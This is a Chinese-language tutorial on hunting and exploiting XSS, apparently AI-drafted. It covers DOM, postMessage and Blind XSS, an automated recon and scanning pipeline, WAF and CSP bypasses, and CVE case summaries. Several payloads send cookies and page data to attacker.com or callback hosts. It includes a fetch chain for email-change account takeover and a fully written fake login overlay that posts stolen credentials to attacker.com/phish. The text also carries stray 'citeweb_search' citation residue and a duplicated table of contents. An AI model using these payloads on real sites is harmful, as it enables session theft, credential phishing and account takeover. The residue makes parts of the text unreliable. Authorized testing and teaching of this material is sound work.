XSS 漏洞深度挖掘与利用：从自动化扫描到账户接管

跨站脚本（XSS）作为 Web 安全领域最经典且高频的漏洞类型，在 2025--2026 年依然占据着各大漏洞平台的榜首。本文将从 XSS 的基础原理出发，深入探讨 DOM XSS、postMessage XSS、Blind XSS 等高级变种的挖掘方法论，结合自动化工具链（subfinder → amass → httpx → katana → gf → dalfox）构建完整的挖掘流水线，并详细阐述从 XSS 到 Session Hijacking、CSRF、Account Takeover 的利用链路与实战案例。

一、XSS 漏洞基础与分类演进

1.1 经典分类回顾

XSS（Cross-Site Scripting）的本质是不可信的用户输入被当作代码执行。根据攻击载荷的存储方式和触发机制，传统上分为三类：

类型	存储位置	触发条件	危害等级	检测难度
反射型 (Reflected)	不存储，直接在响应中反射	用户点击恶意链接	⭐⭐	低
存储型 (Stored)	持久化存储在数据库/文件	用户访问含恶意内容的页面	⭐⭐⭐⭐	中
DOM 型 (DOM-based)	不经过服务端，纯前端解析	用户访问含恶意参数的页面	⭐⭐⭐	高

2025--2026 年的漏洞数据显示，存储型 XSS 依然是企业级应用（如 Adobe Experience Manager、Jenkins、n8n 等）中最常见的 CWE-79 漏洞变体。攻击者通过低权限账户注入恶意脚本，当管理员浏览受感染页面时，脚本以管理员权限执行，实现权限提升和会话劫持。citeweb_search:3#5web_search:3#16web_search:4#1

1.2 2025--2026 新兴变体

随着前端架构的复杂化，XSS 的攻击面持续扩展：

Mutation XSS (mXSS) ：利用浏览器对 HTML 的重新解析特性，将看似无害的输入变异为可执行代码。例如 <svg><script>alert(1)</script></svg> 在某些上下文中会被浏览器重新解析为有效脚本。citeweb_search:4#5
Client-Side Template Injection ：Vue、Angular 等框架的模板语法（如 {``{}}）若处理不当，可导致服务端注入之外的客户端代码执行。
AI Agent XSS：AI 代理在抓取、总结网页内容时，若未对渲染的 markdown/HTML 进行充分消毒，攻击者可通过恶意链接实现 "Prompt-to-XSS"。citeweb_search:4#5
Service Worker XSS：通过 XSS 注册持久化的 Service Worker，即使页面刷新后仍可拦截和篡改请求，形成长期后门。citeweb_search:4#0

二、DOM XSS 深度挖掘方法论

2.1 Sources 与 Sinks 模型

DOM XSS 的核心在于识别 Source （用户可控的输入源）和 Sink（危险的数据处理点）。常见的 Source/Sink 映射如下：

Sources（输入源）：

document.URL、document.location.href、document.location.hash
document.referrer、window.name
localStorage、sessionStorage
postMessage 事件数据

Sinks（危险处理点）：

HTML 注入：innerHTML、outerHTML、document.write()
JS 执行：eval()、setTimeout()、setInterval()、new Function()
导航：location.href、location.replace()、window.open()
脚本加载：script.src、import()

2.2 手动挖掘流程

PortSwigger 的 DOM Invader 扩展为手动挖掘提供了自动化支持。在 Burp Suite 的内置浏览器中启用 DOM Invader 后，它会自动标记页面中所有可控制的 Sources 和危险的 Sinks，并追踪数据流。citeweb_search:4#3

手动挖掘的标准流程：

识别 Sources ：在 Chrome DevTools 中使用 Ctrl+Shift+F 全局搜索 location、document.URL 等关键词
追踪数据流：在 Source 读取处设置断点，逐步跟踪变量赋值和传递路径
定位 Sink ：确认数据最终是否进入 innerHTML、eval() 等危险函数
构造 Payload：根据上下文（HTML/Attribute/JS/URL）选择合适的编码和绕过技巧
验证执行：确认 payload 在目标浏览器中成功触发

2.3 实战案例：WooCommerce 插件 DOM XSS (CVE-2026-24526)

2026 年 1 月披露的一个高危漏洞中，"Email Inquiry & Cart Options for WooCommerce" 插件未对 URL hash 片段进行充分消毒，直接通过 innerHTML 渲染。攻击者向管理员发送包含恶意 hash 的钓鱼链接，管理员点击后 XSS 执行，窃取内部 nonce 并在服务器上创建恶意 PHP 插件，最终达成远程代码执行（RCE）。citeweb_search:4#5

三、postMessage XSS 专项挖掘

3.1 漏洞原理与常见错误模式

window.postMessage() 是 HTML5 引入的跨域通信 API，但大量开发者在使用时忽略了安全校验。以下是三种典型的错误模式：

错误模式一：完全不校验 origin

javascript 复制代码

window.addEventListener('message', function(event) {
    // 致命错误：未校验 event.origin
    document.getElementById('output').innerHTML = event.data;
});

错误模式二：校验的是 data 中的字段，而非 event.origin

javascript 复制代码

window.onmessage = function(t) {
    var e = t.data;
    if ("FoxitApp" === e.origin) {  // 错误！应校验 t.origin
        eval(e.payload);
    }
}

错误模式三：使用 includes() 做弱校验

javascript 复制代码

window.addEventListener('message', function(event) {
    // 攻击者可注册 vulnerable-app.com.attacker.com 绕过
    if (event.origin.indexOf('vulnerable-app.com') !== -1) {
        eval(event.data);
    }
});

3.2 攻击 Payload 与利用链

html 复制代码

<!-- 基础利用：嵌入目标 iframe 发送恶意消息 -->
<iframe id="target" src="https://vulnerable-app.com/widget"></iframe>
<script>
setTimeout(() => {
    document.getElementById('target').contentWindow.postMessage(
        '<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">',
        '*'
    );
}, 2000);
</script>

Null Origin 绕过 ：通过 sandboxed iframe 或 file:// 协议发送消息，event.origin 为 "null"，可绕过严格字符串匹配。citeweb_search:4#5

3.3 检测工具链

工具	类型	核心功能
postMessage-tracker	Chrome 插件	实时监控跨域消息流量，标记缺失/弱 origin 校验的 handler
FrogPost	Chrome 插件	专门用于挖掘 postMessage 漏洞，检测 DOM 操作 sinks
DOM Invader	Burp Suite 扩展	自动检测 postMessage 和 DOM XSS 漏洞，追踪 Sources → Sinks 数据流

3.4 检测 Checklist

搜索 addEventListener('message' 或 onmessage 全局监听
确认校验的是 event.origin 而非 event.data.origin
检查是否使用 includes() / indexOf() / 不严谨的正则做弱校验
确认消息内容是否进入危险 Sink：innerHTML、eval()、document.write()、script.src
测试 Null Origin：通过 sandboxed iframe (<iframe sandbox="allow-scripts" src="data:text/html,...">) 发送消息
测试 postMessage → eval 链：消息被 JSON.parse 后进入 new Function() 或 eval()

Blind XSS 是一种特殊的存储型 XSS，payload 被提交到应用后不会在前端立即触发 ，而是在后台系统、管理员面板、日志查看器、邮件通知等场景下由其他用户触发。由于攻击者无法直接观察执行结果，需要依赖回调平台接收外带数据。

4.2 典型触发场景

用户注册时的用户名/邮箱字段 → 后台用户管理列表
联系表单/反馈内容 → 客服工单系统
文件上传时的文件名 → 后台文件管理器
日志记录的用户代理字符串 → 管理员日志审计页面
支付备注/订单留言 → 财务后台

2025 年 2 月的一个真实案例中，攻击者在注册页面的用户名限制验证处注入 Blind XSS payload。前端正确进行了消毒，但后台管理门户在显示用户注册日志时未做处理。几天后管理员查看日志时 payload 触发，自动执行以下操作：

通过 fetch() 获取管理员的 CSRF token
自动发送 POST 请求创建新的管理员账户
攻击者获得完整后台控制权

整个攻击链无需窃取 Cookie，直接利用受害者的活跃会话完成权限提升。citeweb_search:4#5

4.4 回调平台与 Payload

平台	地址	特点
XSS Hunter	xsshunter.com	功能完善，支持截图、Cookie 窃取、键盘记录
ezXSS	自建	开源，可私有化部署
Dalfox 自带	`-b https://your-callback`	与扫描器集成，自动化回调

html 复制代码

<!-- 基础 Blind XSS Payload -->
<script src="https://your-xss-hunter.com/"></script>

<!-- 无脚本标签的替代方案 -->
<img src=x onerror="fetch('https://callback.com/?c='+document.cookie+'&u='+location.href)">

<!-- 针对 HTTPOnly Cookie 的场景：直接操作 API -->
<img src=x onerror="fetch('/api/user/email',{method:'POST',body:'email=attacker@evil.com'})">

五、XSS 利用链：从弹窗到 Account Takeover

5.1 利用链全景图

复制代码

XSS 执行
    │
    ├─── 1. Cookie 窃取 (无 HttpOnly)
    │       └─── Session Hijacking → 完全接管账户
    │
    ├─── 2. HTTPOnly Cookie 绕过
    │       ├─── 2.1 直接调用内部 API (fetch with credentials)
    │       │       └─── 修改邮箱 → 密码重置 → Account Takeover
    │       ├─── 2.2 窃取 localStorage/sessionStorage 中的 JWT
    │       └─── 2.3 键盘记录 MFA 验证码
    │
    ├─── 3. CSRF 武器化
    │       └─── 利用受害者会话发起敏感操作请求
    │
    ├─── 4. 凭证钓鱼
    │       └─── 注入伪造登录浮层，收割用户名密码
    │
    └─── 5. 持久化后门
            ├─── 5.1 注册 Service Worker 拦截后续请求
            └─── 5.2 利用浏览器缓存投毒长期驻留

5.2 XSS → Account Takeover 标准链

这是 2026 年最可靠、最常被用于 Bug Bounty 的利用链：citeweb_search:3#0

javascript 复制代码

// Step 1: 修改账户邮箱为攻击者控制的地址
fetch('/api/account/change-email', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({email: 'attacker@controlled.com'})
});

// Step 2: 触发密码重置，邮件发送到攻击者邮箱
fetch('/api/account/reset-password', {
    method: 'POST',
    credentials: 'include',
    body: JSON.stringify({email: 'attacker@controlled.com'})
});

// Step 3: 攻击者通过邮件中的重置链接设置新密码
// Step 4: 使用新密码登录，完全接管账户

关键点：即使 Cookie 设置了 HttpOnly，XSS 仍可在受害者的浏览器上下文中发起认证请求，无需读取 Cookie 内容。citeweb_search:4#0

5.3 凭证钓鱼：更隐蔽的攻击

javascript 复制代码

// 注入伪造的 "会话过期" 登录浮层
const overlay = document.createElement('div');
overlay.innerHTML = `
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:99999;display:flex;align-items:center;justify-content:center;">
        <div style="background:white;padding:30px;border-radius:8px;max-width:400px;">
            <h3>您的会话已过期</h3>
            <p>请重新登录以继续操作</p>
            <input type="text" id="fake-user" placeholder="用户名" style="width:100%;margin:10px 0;padding:8px;">
            <input type="password" id="fake-pass" placeholder="密码" style="width:100%;margin:10px 0;padding:8px;">
            <button onclick="submitCreds()" style="width:100%;padding:10px;background:#007bff;color:white;border:none;">登录</button>
        </div>
    </div>
`;
document.body.appendChild(overlay);

window.submitCreds = function() {
    const creds = {
        user: document.getElementById('fake-user').value,
        pass: document.getElementById('fake-pass').value,
        url: location.href
    };
    fetch('https://attacker.com/phish', {
        method: 'POST',
        body: JSON.stringify(creds)
    });
    overlay.remove(); // 消失得无影无踪
};

六、自动化挖掘：从 Recon 到漏洞确认的完整流水线

6.1 工具链架构

复制代码

┌─────────────────┐    ┌─────────────────┐    ┌─────────────────┐
│  子域名收集      │───▶│   存活探测       │───▶│   URL 爬取       │
│  subfinder      │    │   httpx         │    │   katana        │
│  amass          │    │   dnsx          │    │   gau           │
│                 │    │                 │    │   waybackurls   │
└─────────────────┘    └─────────────────┘    └─────────────────┘
                                                        │
                                                        ▼
┌─────────────────┐    ┌─────────────────┐    ┌─────────────────┐
│  漏洞确认        │◀───│  XSS 参数过滤    │◀───│   URL 去重合并   │
│  dalfox         │    │   gf xss        │    │                 │
│  (带 Blind XSS  │    │   Gxss          │    │                 │
│   回调)         │    │                 │    │                 │
└─────────────────┘    └─────────────────┘    └─────────────────┘

6.2 各阶段详细命令

Stage 1: 子域名收集

bash 复制代码

# subfinder：被动源 + 暴力破解
subfinder -d target.com -all -o subs_subfinder.txt

# amass：深度枚举（配置 API key 效果更佳）
amass enum -d target.com -o subs_amass.txt

# 合并去重
cat subs_subfinder.txt subs_amass.txt | sort -u > all_subs.txt
wc -l all_subs.txt

Stage 2: 存活探测

bash 复制代码

# httpx：快速 HTTP 存活探测，附带技术栈指纹
cat all_subs.txt | httpx -title -tech-detect -status-code -o alive.txt

# dnsx：DNS 解析验证
cat all_subs.txt | dnsx -resp -o resolved.txt

Stage 3: URL 爬取与收集

bash 复制代码

# katana：主动爬虫，深度爬取 JS 渲染页面
cat alive.txt | katana -d 5 -jc -o urls_katana.txt

# gau (GetAllUrls)：被动获取历史 URL（Wayback、Common Crawl、Alien Vault）
cat alive.txt | gau -o urls_gau.txt

# waybackurls：Wayback Machine 历史归档
cat alive.txt | waybackurls > urls_wayback.txt

# Google Dork（手动或配合工具如 pagodo）
# site:target.com ext:php? inurl:id=

# 合并去重
cat urls_katana.txt urls_gau.txt urls_wayback.txt | sort -u > all_urls.txt

Stage 4: XSS 候选参数过滤

bash 复制代码

# 安装 GF 模式库
git clone https://github.com/1ndianl33t/Gf-Patterns
mkdir -p ~/.gf && cp Gf-Patterns/*.json ~/.gf

# GF 过滤潜在 XSS 参数
cat all_urls.txt | gf xss > xss_candidates.txt

# Gxss：检测反射点（需要配合参数）
cat all_urls.txt | gxss -o xss_reflected.txt

Stage 5: XSS 扫描与验证

bash 复制代码

# Dalfox 管道模式批量扫描
cat xss_candidates.txt | dalfox pipe -o dalfox_results.txt

# 带 Blind XSS 回调
cat xss_candidates.txt | dalfox pipe     -b https://your-xss-hunter.com     -o dalfox_blind_results.txt

# 单目标深度扫描（带 Cookie 和代理）
dalfox url "https://target.com/search?q=test"     -H "Cookie: session=xxx; token=yyy"     --proxy http://127.0.0.1:8080     --deep-dom     -o single_target.json

# 仅发现参数（不验证，快速筛选）
dalfox url "https://target.com" --only-discovery

# 自定义 Payload 字典
dalfox url "https://target.com" --custom-payload my_payloads.txt

6.3 工具安装速查

bash 复制代码

# 一键安装全套工具（需 Go 环境）
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/owasp-amass/amass/v4/...@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install github.com/projectdiscovery/katana/cmd/katana@latest
go install github.com/lc/gau/v2/cmd/gau@latest
go install github.com/tomnomnom/waybackurls@latest
go install github.com/tomnomnom/gf@latest
go install github.com/KathanP19/Gxss@latest
go install github.com/hahwul/dalfox/v2@latest

七、WAF 绕过与过滤绕过技术

7.1 常见过滤绕过矩阵

过滤目标	绕过技术	示例
`<script>` 标签	事件处理器替代	`<img src=x onerror=alert(1)>`
`onerror` 等事件	SVG/其他标签	`<svg onload=alert(1)>`
空格	注释符/换行符	`/**/` 或 `%0a` 或 `+`
括号 `()`	模板字符串	``alert`1```
引号 `"'`	String.fromCharCode	`String.fromCharCode(97,108,101,114,116)`
`<` `>`	HTML 实体/Unicode	`<` 或 `<`
关键字 `alert`	Unicode 编码	`al\u0065rt(1)`
完整黑名单	多参数分片	`?a=<img&b=src=x&c=onerror=alert(1)>`

7.2 2025--2026 高级绕过技术

Unicode 规范化攻击：

javascript 复制代码

// 全角字符经 normalize('NFKC') 后变为标准字符
const payload = 'ａｌｅｒｔ(1)'; // 全角
eval(payload.normalize('NFKC'));  // 执行 alert(1)

模板字符串注入：

javascript 复制代码

// ES6 模板字符串绕过引号限制
`${constructor.constructor('alert(1)')()}`

Payload 分片重组：

javascript 复制代码

// 将 payload 分散到多个 URL 参数，客户端拼接
// URL: ?f1=<svg&f2= onload&f3==alert(1)>
const p = new URLSearchParams(location.search);
document.body.innerHTML = p.get('f1') + p.get('f2') + p.get('f3');

Safari 专属事件绕过 WAF：

CVE-2026-31382 中，攻击者利用 Safari 独有的 onpagereveal 事件处理器绕过 WAF 签名检测，成功实现反射型 XSS。citeweb_search:3#4

7.3 CSP 绕过技术

Content Security Policy 是现代 XSS 防御的核心，但仍存在多种绕过路径：citeweb_search:4#1web_search:4#5

Nonce 泄露攻击：

css 复制代码

/* 通过 CSS 属性选择器逐字符泄露 nonce */
script[nonce^="a"] { background: url('https://attacker.com/?n=a'); }
script[nonce^="ab"] { background: url('https://attacker.com/?n=ab'); }
/* ... 逐位爆破 */

Base 标签重定向：

html 复制代码

<!-- 如果 CSP 允许 'self' 但未限制 base 标签 -->
<base href="https://attacker.com/">
<!-- 后续所有相对路径脚本从攻击者域名加载 -->
<script src="/app.js"></script> <!-- 实际加载 attacker.com/app.js -->

JSONP / Angular 等框架白名单滥用：

html 复制代码

<!-- 如果 CSP 允许特定 CDN -->
<script src="https://trusted-cdn.com/jsonp?callback=alert(1)"></script>

八、防御视角：了解防御以突破防御

8.1 现代防御架构（2025--2026）

防御层	技术	绕过难度
输入消毒	DOMPurify / Sanitizer API	中（存在 mXSS 绕过 CVE-2025-26791）
输出编码	上下文感知编码（HTML/JS/URL/CSS）	高
CSP	nonce-based + strict-dynamic	中（nonce 泄露、配置错误）
浏览器原生	Trusted Types API	高
Cookie 安全	HttpOnly + Secure + SameSite	高（但不防 API 滥用）
框架层面	React/Vue 自动转义	高（需警惕 v-html/dangerouslySetInnerHTML）

8.2 针对防御的测试策略

遇到 DOMPurify ：尝试 mXSS payload（如 <svg><script>alert(1)</script></svg>），检查版本是否存在已知绕过
遇到 CSP：使用 csp-evaluator.withgoogle.com 评估策略强度，寻找 JSONP 端点或宽松的 script-src
遇到 Trusted Types：检查是否存在默认策略配置不当，或寻找未受保护的 DOM 操作路径
遇到 HttpOnly：放弃 Cookie 窃取，转向 API 滥用、CSRF 武器化或 localStorage JWT 窃取

九、实战案例精选

9.1 案例一：n8n CSP Sandbox 绕过 (CVE-2026-27578)

目标：n8n 开源工作流平台（178K+ GitHub stars）
漏洞：Webhook Response 功能使用 denylist 过滤危险 Content-Type，攻击者通过 image/svg+xml 等未列入黑名单的类型绕过 CSP Sandbox，实现存储型 XSS。
影响：会话劫持、凭证窃取、完全账户接管。
修复：升级到 2.10.1 / 2.9.3 / 1.123.22。citeweb_search:4#1

9.2 案例二：Horilla HRMS 正则过滤器绕过 (CVE-2026-24037)

目标：Horilla HRMS 系统
漏洞：has_xss() 函数使用不完整的正则表达式进行 XSS 检测，攻击者通过大小写变换、HTML 实体编码、Unicode 编码等技术绕过过滤。
根因：基于黑名单的过滤无法覆盖所有 XSS 上下文，缺乏上下文感知的输出编码。citeweb_search:4#4

9.3 案例三：AI playground OAuth XSS → ATO

目标：主流 AI Playground 应用
漏洞：OAuth 回调处理中的 error_description 参数未正确转义，导致反射型 XSS。
攻击链 ：XSS payload 绕过 HttpOnly 限制，直接与 DOM 交互提取活跃授权码，外带至攻击者服务器，实现完全账户接管。
参考：HackerOne 2026 年 3 月 Hacktivity。citeweb_search:4#5

十、总结与建议

10.1 给挖洞者的建议

不要止步于 alert(1)：XSS 的真正价值在于后续的利用链。每次发现 XSS 时，问自己："我能用这个做什么？"
重视 DOM XSS 和 postMessage：这些是现代 SPA 应用的高频漏洞点，且自动化工具覆盖不足
建立个人工具链：将 recon → 爬取 → 过滤 → 扫描流水线化，提升效率
关注 Blind XSS：在用户名、文件名、User-Agent、反馈内容等"边缘"输入点测试
学习防御机制：了解 CSP、Trusted Types、Sanitizer API 的绕过方法，才能发现更深层漏洞

10.2 给开发者的建议

永远不要信任用户输入：输入验证是必要的，但输出编码才是根本
使用框架的自动转义功能 ：React 的 {}、Vue 的 {``{}} 默认是安全的，避免使用 dangerouslySetInnerHTML / v-html
实施严格的 CSP ：使用 nonce-based 策略，配合 strict-dynamic，避免宽泛的域名白名单
启用 HttpOnly + Secure + SameSite：虽然不能阻止 XSS，但能显著降低会话劫持风险
校验 postMessage 的 origin ：使用严格相等 === 而非 includes() 或 indexOf()

免责声明：本文仅供安全研究和授权渗透测试参考，请勿用于非法用途。未经授权的漏洞挖掘和利用可能违反法律法规。

参考资源

PortSwigger Web Security Academy: https://portswigger.net/web-security/cross-site-scripting
Dalfox 官方文档: https://dalfox.hahwul.com
Advanced XSS GitHub (Karthikdude): https://github.com/Karthikdude/Advanced-XSS
OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
CSP Evaluator: https://csp-evaluator.withgoogle.com

XSS 漏洞深度挖掘与利用：从自动化扫描到账户接管

一、XSS 漏洞基础与分类演进

1.1 经典分类回顾

1.2 2025--2026 新兴变体

二、DOM XSS 深度挖掘方法论

2.1 Sources 与 Sinks 模型

2.2 手动挖掘流程

2.3 实战案例：WooCommerce 插件 DOM XSS (CVE-2026-24526)

三、postMessage XSS 专项挖掘

3.1 漏洞原理与常见错误模式

3.2 攻击 Payload 与利用链

3.3 检测工具链

3.4 检测 Checklist

四、Blind XSS 狩猎方法论

4.1 什么是 Blind XSS

4.2 典型触发场景

4.3 实战案例：$6,500 的 Blind XSS → Admin Takeover

4.4 回调平台与 Payload

五、XSS 利用链：从弹窗到 Account Takeover

5.1 利用链全景图

5.2 XSS → Account Takeover 标准链

5.3 凭证钓鱼：更隐蔽的攻击

六、自动化挖掘：从 Recon 到漏洞确认的完整流水线

6.1 工具链架构

6.2 各阶段详细命令

Stage 1: 子域名收集

Stage 2: 存活探测

Stage 3: URL 爬取与收集

Stage 4: XSS 候选参数过滤

Stage 5: XSS 扫描与验证

6.3 工具安装速查

七、WAF 绕过与过滤绕过技术

7.1 常见过滤绕过矩阵

7.2 2025--2026 高级绕过技术

7.3 CSP 绕过技术

八、防御视角：了解防御以突破防御

8.1 现代防御架构（2025--2026）

8.2 针对防御的测试策略

九、实战案例精选

9.1 案例一：n8n CSP Sandbox 绕过 (CVE-2026-27578)

9.2 案例二：Horilla HRMS 正则过滤器绕过 (CVE-2026-24037)

9.3 案例三：AI playground OAuth XSS → ATO

十、总结与建议

10.1 给挖洞者的建议

10.2 给开发者的建议

参考资源